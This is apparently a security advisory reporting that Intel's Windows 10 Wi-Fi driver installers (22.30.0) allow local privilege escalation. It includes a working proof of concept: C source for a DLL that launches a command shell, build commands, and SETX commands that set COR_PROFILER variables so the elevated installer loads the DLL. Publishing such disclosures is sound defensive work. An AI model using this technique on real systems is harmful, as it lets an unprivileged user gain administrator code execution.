the executable installers version 22.30.0 (Latest), published
2/23/2021,
for the "Windows® 10 Wi-Fi Drivers for Intel® Wireless
Adapters",
<https://downloadmirror.intel.com/30208/a08/WiFi_22.30.0_Driver32_Win10.exe>
and
<https://downloadmirror.intel.com/30208/a08/WiFi_22.30.0_Driver64_Win10.exe>,
available from
<https://downloadcenter.intel.com/download/30208/Windows-10-Wi-Fi-Drivers-for-Intel-Wireless-Adapters>
are (SURPRISE!) vulnerable: they allow arbitrary code execution
WITH
local escalation of privilege.
CVSS 3.0 score: 8.2 (High)
CVSS 3.0 vector: 3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Demonstration:
~~~~~~~~~~~~~~
0. Log on with an arbitrary user account.
1. Save the following source as poc.c in an arbitrary directory:
--- poc.c ---
// Copyright (C) 2004-2021, Stefan Kanthak
<
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const STARTUPINFO si = {sizeof(si)};
__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HANDLE hModule,
DWORD dwReason,
CONTEXT *lpContext)
{
WCHAR szCmdLine[] = L"CMD.exe /D /K WHOAMI.exe /ALL";
PROCESS_INFORMATION pi;
#if 0
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
#endif
if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE,
CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE |
CREATE_NEW_PROCESS_GROUP | CREATE_UNICODE_ENVIRONMENT,
NULL, NULL, &si, &pi))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
return TRUE;
}
--- EOF ---
2. Start the command prompt of the 32-bit Windows Software
Development Kit,
then run the following command lines to compile poc.c and link it
as
poc.dll:
CL.exe /Zl /W4 /Ox /GAFy /c poc.c
LINK.exe /LINK /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup
/NODEFAULTLIB /NXCOMPAT /OPT:REF /RELEASE /SUBSYSTEM:Windows
poc.obj
kernel32.lib
ALTERNATIVE for steps 1 and 2:
2. Download
<https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>
and save it as poc.dll in an arbitrary directory.
See <https://skanthak.homepage.t-online.de/sentinel.html>
for its
documentation, and
<https://insights.sei.cmu.edu/cert/2016/06/bypassing-application-whitelisting.html>
for an example how to use it.
3. Logon with the user account created during Windows setup.
4. Download
<https://downloadmirror.intel.com/30208/a08/WiFi_22.30.0_Driver32_Win10.exe>
and
<https://downloadmirror.intel.com/30208/a08/WiFi_22.30.0_Driver64_Win10.exe>
and save them in an arbitrary directory.
5. Start a command prompt (UNELEVATED!) and run the following
command lines
(replace <directory> with the pathname of the directory where
you built
or saved poc.dll):
SETX.exe COR_ENABLE_PROFILING 1
SETX.exe COR_PROFILER {32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A}
SETX.exe COR_PROFILER_PATH <directory>\poc.dll
JFTR: this is just one method to set these environment variables
without
the need to elevate!
6. Execute WiFi_22.30.0_Driver32_Win10.exe and
WiFi_22.30.0_Driver64_Win10.exe
per double-click, acknowledge the UAC prompt, then admire the
console
windows showing the output of WHOAMI.exe running elevated.
stay tuned, and far away from Intel's vulnerable crap!
Stefan Kanthak
